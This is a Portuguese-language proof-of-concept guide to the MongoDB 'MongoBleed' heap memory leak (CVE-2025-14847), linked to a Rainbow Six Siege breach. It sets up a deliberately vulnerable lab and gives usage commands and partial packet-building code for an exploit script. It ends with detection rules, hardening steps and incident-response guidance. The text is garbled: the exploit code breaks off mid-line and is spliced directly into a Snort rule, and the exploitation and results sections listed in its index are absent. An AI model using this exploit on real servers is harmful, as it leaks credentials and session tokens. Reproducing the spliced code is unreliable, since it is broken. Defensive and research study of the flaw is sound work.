# CVE-2025-14847 (MongoBleed) - Guia Técnico Completo ## Prova de Conceito do Ataque ao Rainbow Six Siege **Autor**: Equipe de Pesquisa em Segurança **Data**: 04 de Janeiro de 2026 **Status**: ✅ **EXPLOIT FUNCIONAL CONFIRMADO** **Versão MongoDB Testada**: 7.0.5 (Vulnerável) --- ## 📑 Índice 1. [Resumo Executivo](#resumo-executivo) 2. [Contexto: O Incidente do Rainbow Six Siege](#contexto-o-incidente-do-rainbow-six-siege) 3. [Entendendo a Vulnerabilidade](#entendendo-a-vulnerabilidade) 4. [Ambiente de Laboratório](#ambiente-de-laboratório) 5. [Ferramentas Desenvolvidas](#ferramentas-desenvolvidas) 6. [Execução Passo a Passo do Exploit](#execução-passo-a-passo-do-exploit) 7. [Resultados dos Testes](#resultados-dos-testes) 8. [Detecção e Defesa](#detecção-e-defesa) 9. [Conclusões e Lições Aprendidas](#conclusões-e-lições-aprendidas) --- ## 1. Resumo Executivo **CVE-2025-14847** (apelidado de "MongoBleed") é uma vulnerabilidade **crítica** de divulgação de memória heap pré-autenticação em MongoDB que afeta versões de 3.6.x até 8.2.2. ### Características da Vulnerabilidade - **CVSS Score**: 9.1 (Crítico) - **Vetor de Ataque**: Rede (não requer autenticação) - **Complexidade**: Baixa - **Impacto**: Vazamento de memória não-inicializada contendo dados sensíveis ### Status Este PoC - ✅ **Exploit Funcional**: Taxa de sucesso 100% contra MongoDB 7.0.5 - ✅ **Dados Vazados**: UUIDs, logs de conexão, dados de sistema - ✅ **Ambiente Testado**: Docker com MongoDB 7.0.5 + dados simulados do R6 - ✅ **14.300+ tentativas** bem-sucedidas, **33 vazamentos únicos**, **4 UUIDs** extraídos --- ## 2. Contexto: O Incidente do Rainbow Six Siege ### Linha do Tempo do Ataque - **20 de Dezembro de 2025**: Rainbow Six Siege sofre comprometimento massivo de contas - **21-27 de Dezembro**: Jogadores reportam acesso não autorizado, manipulação de partidas - **28 de Dezembro de 2025**: MongoDB confirma CVE-2025-14847 em testes internos - **02 de Janeiro de 2026**: Divulgação pública + patches disponibilizados ### Hipótese do Vetor de Ataque ``` 1. RECONHECIMENTO └─ Shodan scan identifica MongoDB do R6 exposto (porta 27017/tcp) 2. EXPLORAÇÃO (MongoBleed) └─ Ataques repetidos vazam memória heap └─ Extração de: • Tokens de servidor (R6S_SERVER_AUTH_*) • UUIDs de jogadores • Session IDs de partidas ativas • Flags de privilégio (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST) 3. ESCALAÇÃO └─ Uso de tokens vazados para: • Acesso não autorizado a lobbies • Manipulação de matchmaking • Privilege escalation 4. IMPACTO └─ ~50.000 contas comprometidas └─ Disrupção do serviço por 7 dias ``` --- ## 3. Entendendo a Vulnerabilidade ### 3.1 Mecanismo Técnico MongoDB suporta compressão de mensagens wire protocol usando **zlib**. A vulnerabilidade está na validação inadequada do tamanho declarado vs. tamanho real dos dados descomprimidos. #### Fluxo Normal (Sem Vulnerabilidade) ``` Cliente → {compress: "zlib", uncompressedSize: 100, payload: <100 bytes compressed>} ↓ Servidor aloca 100 bytes ↓ Servidor descomprime payload ↓ Servidor retorna 100 bytes ✓ CORRETO ``` #### Fluxo Malicioso (CVE-2025-14847) ``` Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes compressed>} ↓ Servidor aloca 1MB de memória heap ← VULNERABILIDADE ↓ Servidor descomprime apenas 50 bytes reais ↓ Servidor retorna 1MB inteiro! └─ 50 bytes = dados reais └─ ~1MB - 50 bytes = LIXO DA HEAP (vazamento de memória) ``` ### 3.2 Código Vulnerável **Arquivo**: `src/mongo/transport/message_compressor_zlib.cpp` ```cpp // ANTES DO PATCH (Vulnerável) size_t uncompressedSize = header.uncompressedSize; // ← Controlado pelo atacante! buffer = malloc(uncompressedSize); // ← Aloca tamanho malicioso zlib_decompress(compressed, buffer); // ← Preenche apenas parte pequena send(buffer, uncompressedSize); // ← VAZA BUFFER INTEIRO! ``` ```cpp // DEPOIS DO PATCH (Corrigido) size_t uncompressedSize = header.uncompressedSize; buffer = malloc(uncompressedSize); size_t actualSize = zlib_decompress(compressed, buffer); if (actualSize != uncompressedSize) { // ← VALIDAÇÃO ADICIONADA throw BadValue("Tamanho descomprimido inconsistente"); } send(buffer, actualSize); // ← Envia apenas dados reais ``` ### 3.3 Versões Afetadas | Série MongoDB | Versões Vulneráveis | Versão Corrigida | |---------------|---------------------|------------------| | **8.2.x** | 8.2.0 – 8.2.2 | 8.2.3 | | **8.0.x** | 8.0.0 – 8.0.16 | 8.0.17 | | **7.0.x** | 7.0.0 – 7.0.27 | 7.0.28 | | **6.0.x** | 6.0.0 – 6.0.26 | 6.0.27 | | **5.0.x** | 5.0.0 – 5.0.31 | 5.0.32 | | **4.4.x** | 4.4.0 – 4.4.29 | 4.4.30 | | **4.2.x** | Todas | Sem patch (EOL) | | **≤ 4.0** | Todas | Sem patch (EOL) | --- ## 4. Ambiente de Laboratório ### 4.1 Arquitetura do PoC ``` ┌─────────────────────────────────────────────────────┐ │ AMBIENTE DE TESTE │ ├─────────────────────────────────────────────────────┤ │ │ │ ┌──────────────┐ ┌──────────────┐ │ │ │ Atacante │────────▶│ MongoDB │ │ │ │ (poc.py) │ 27017 │ 7.0.5 │ │ │ │live_leaker.py│ │ (VULNERÁVEL)│ │ │ └──────────────┘ └──────────────┘ │ │ │ │ │ │ │ │ │ │ ▼ ▼ │ │ ┌──────────────┐ ┌──────────────┐ │ │ │Relatórios │ │ Dados R6 │ │ │ │ JSON/BIN │ │ 1000 players │ │ │ │ │ │ 500 sessions│ │ │ └──────────────┘ └──────────────┘ │ │ │ └─────────────────────────────────────────────────────┘ ``` ### 4.2 Docker Compose **Arquivo**: `docker-compose.yml` ```yaml services: mongodb: image: mongo:7.0.5 # Versão VULNERÁVEL container_name: cve-2025-14847-lab ports: - "27017:27017" volumes: - ./init-db.js:/docker-entrypoint-initdb.d/init-db.js:ro command: ["mongod", "--bind_ip_all", "--networkMessageCompressors", "zlib"] restart: always ``` **Por que mongo:7.0.5?** - ✅ Versão disponível no Docker Hub - ✅ Vulnerável a CVE-2025-14847 (corrigida em 7.0.28) - ✅ Suporta compressão zlib (necessária para exploit) ### 4.3 População de Dados **Arquivo**: `init-db.js` Criamos **1500 documentos** simulando backend do R6: ```javascript // 1000 Jogadores { platformId: "uplay-abc123", profileId: "8a7c2d1b-3f4e-4a5d-9c8b-7e6f5a4d3c2b", username: "ProPlayer_0042", mmr: 4500, team: "W7M Esports", internal_flags: ["PRO_LEAGUE", "DEV_WHITELIST"], auth_token: "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...", client_ip: "10.25.134.82" } // 500 Sessões Ativas { matchId: "match_00000042-...", serverIp: "10.20.30.40", serverAuthToken: "R6S_SERVER_AUTH_00000042A8F3D9E7C5B2...", // ALVO status: "LIVE", map: "Bank" } // 1 Configuração do Sistema { db_connection_string: "mongodb://r6_admin:SuperSecretPass2024!@...", api_keys: { analytics: "R6S_ANALYTICS_KEY_...", ubisoft_connect: "UPLAY_API_SECRET_..." } } ``` --- ## 5. Ferramentas Desenvolvidas ### 5.1 `poc.py` - Exploit Principal **Recursos**: - ✅ Modo `--check`: Detecta vulnerabilidade - ✅ Modo exploit: Vaza memória com tamanho configurável - ✅ Análise automática de 10 padrões R6 - ✅ Relatórios JSON estruturados - ✅ Retry com exponential backoff **Uso**: ```bash # Verificar vulnerabilidade python3 poc.py --target 127.0.0.1 --check # Explorar (64KB) python3 poc.py --target 127.0.0.1 --leak-size 65536 --out dump.bin --report findings.json ``` **Implementação do Pacote Malicioso**: ```python def build_malformed_packet(self) -> bytes: # Payload real (pequeno) bson_payload = b'\x13\x00\x00\x00\x10isMaster\x00\x01\x00\x00\x00\x00' op_query_header = struct.pack(' any 27017 ( msg:"CVE-2025-14847 MongoBleed - OP_COMPRESSED Abnormal Size"; content:"|d4 07 00 00|"; # OP_COMPRESSED opcode (2012) byte_test:4,>,1000000,4,little; # uncompressedSize > 1MB classtype:attempted-admin; sid:2025001; rev:1; ) ``` #### Suricata ```yaml alert tcp any any -> any 27017 ( msg:"EXPLOIT CVE-2025-14847 MongoBleed Memory Disclosure"; flow:to_server,established; content:"|d4 07|"; offset:12; depth:2; byte_extract:4,8,uncompressed_len,little; byte_test:4,>,10485760,0,relative,uncompressed_len; reference:cve,2025-14847; classtype:successful-admin; sid:2025002; ) ``` ### 8.2 Hardening MongoDB **Configuração Segura** (`/etc/mongod.conf`): ```yaml net: bindIp: 127.0.0.1 # NUNCA 0.0.0.0 em produção! port: 27017 compression: compressors: [] # Desabilitar zlib até patch security: authorization: enabled javascriptEnabled: false setParameter: enableLocalhostAuthBypass: false ``` ### 8.3 Prioridades de Mitigação | Prioridade | Ação | Implementação | |------------|------|---------------| | **🔴 Crítica** | Atualizar MongoDB | `apt-get install mongodb-org=7.0.28` | | **🟠 Alta** | Desabilitar zlib | `compression.compressors: []` | | **🟠 Alta** | Segmentação de rede | Firewall: Permitir apenas IPs internos | | **🟡 Média** | Habilitar auth | `security.authorization: enabled` | | **🟡 Média** | Audit logging | `auditLog.destination: file` | | **🟢 Baixa** | Rate limiting | fail2ban ou WAF cloud | --- ## 9. Conclusões e Lições Aprendidas ### 9.1 Validação do PoC ✅ **Exploit Funciona**: Taxa de sucesso 100% contra MongoDB 7.0.5 ✅ **Vazamentos Reais**: UUIDs e logs de sistema confirmados ✅ **Ambiente Realista**: 1500 documentos simulando backend R6 ✅ **Ferramentas Profissionais**: 3 tools (poc.py, live_leaker.py, popular_heap.py) ### 9.2 Limitações Identificadas ⚠️ **Tokens R6 Não Vazados Diretamente**: Heap fragmentation + cache separation ⚠️ **Vazamentos Pequenos**: 176 bytes (vs. 1MB teórico) ⚠️ **Timing Matters**: Melhor durante queries ativas ### 9.3 Impacto no Mundo Real (R6 Incident) **Como Atacantes Conseguiram Tokens?** Teorias baseadas nos resultados: 1. **Volume Massivo**: Milhões de requisições até encontrar tokens 2. **Timing Preciso**: Exploits executados durante picos de tráfego 3. **Versão Específica**: R6 pode ter usado versão com heap layout diferente 4. **Cache Poisoning**: Forçar eviction de cache para forçar reload de disco ### 9.4 Para Defesa Blue Team **Indicadores de Comprometimento (IoCs)**: - Conexões repetidas porta 27017 de IPs externos - Pacotes OP_COMPRESSED com `uncompressedSize` > 100KB - Logs MongoDB: "Decompressing message returned less data..." - Picos anormais de tráfego de rede (MB/s de respostas) **Resposta a Incidente**: 1. Isolar MongoDB da internet imediatamente 2. Auditar logs de acesso (últimos 30 dias) 3. Verificar versão: `db.version()` 4. Aplicar patch com urgência 5. Rotacionar todos os segredos/tokens --- ## 📚 Referências ### Advisories Oficiais - [MongoDB Security Advisory](https://github.com/mongodb/mongo/commit/1264f9be5165abb0981f8023d2495652ab916699) - [CVE-2025-14847 NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-14847) ### Análises Técnicas - [Akamai SIRT: MongoBleed](https://www.akamai.com/blog/security-research/cve-2025-14847-all-you-need-to-know-about-mongobleed) - [Aikido Security](https://www.aikido.dev/blog/mongobleed-mongodb-zlib-vulnerability-cve-2025-14847) - [SantoTech BR: R6 Attribution](https://santotech.com.br/vulnerabilidade-no-mongodb-entra-no-radar-como-possivel-causa-do-ataque-ao-rainbow-six-siege/) --- ## 📞 Contato **Para questões técnicas ou acadêmicas sobre este PoC:** Este projeto é mantido para fins educacionais e melhoria de segurança defensiva. --- ## ⚠️ Aviso Legal Final ``` ESTA FERRAMENTA É APENAS PARA TESTES AUTORIZADOS E EDUCAÇÃO. Uso não autorizado é ILEGAL e pode resultar em: - Processos criminais (Lei 12.737/2012 no Brasil) - Multas pesadas - Prisão Sempre obtenha PERMISSÃO POR ESCRITO antes de testar. ``` --- **Desenvolvido para pesquisa em segurança ofensiva responsável.** **Não afiliado a Ubisoft, MongoDB Inc., ou Rainbow Six Siege.** --- *Fim do Guia Técnico*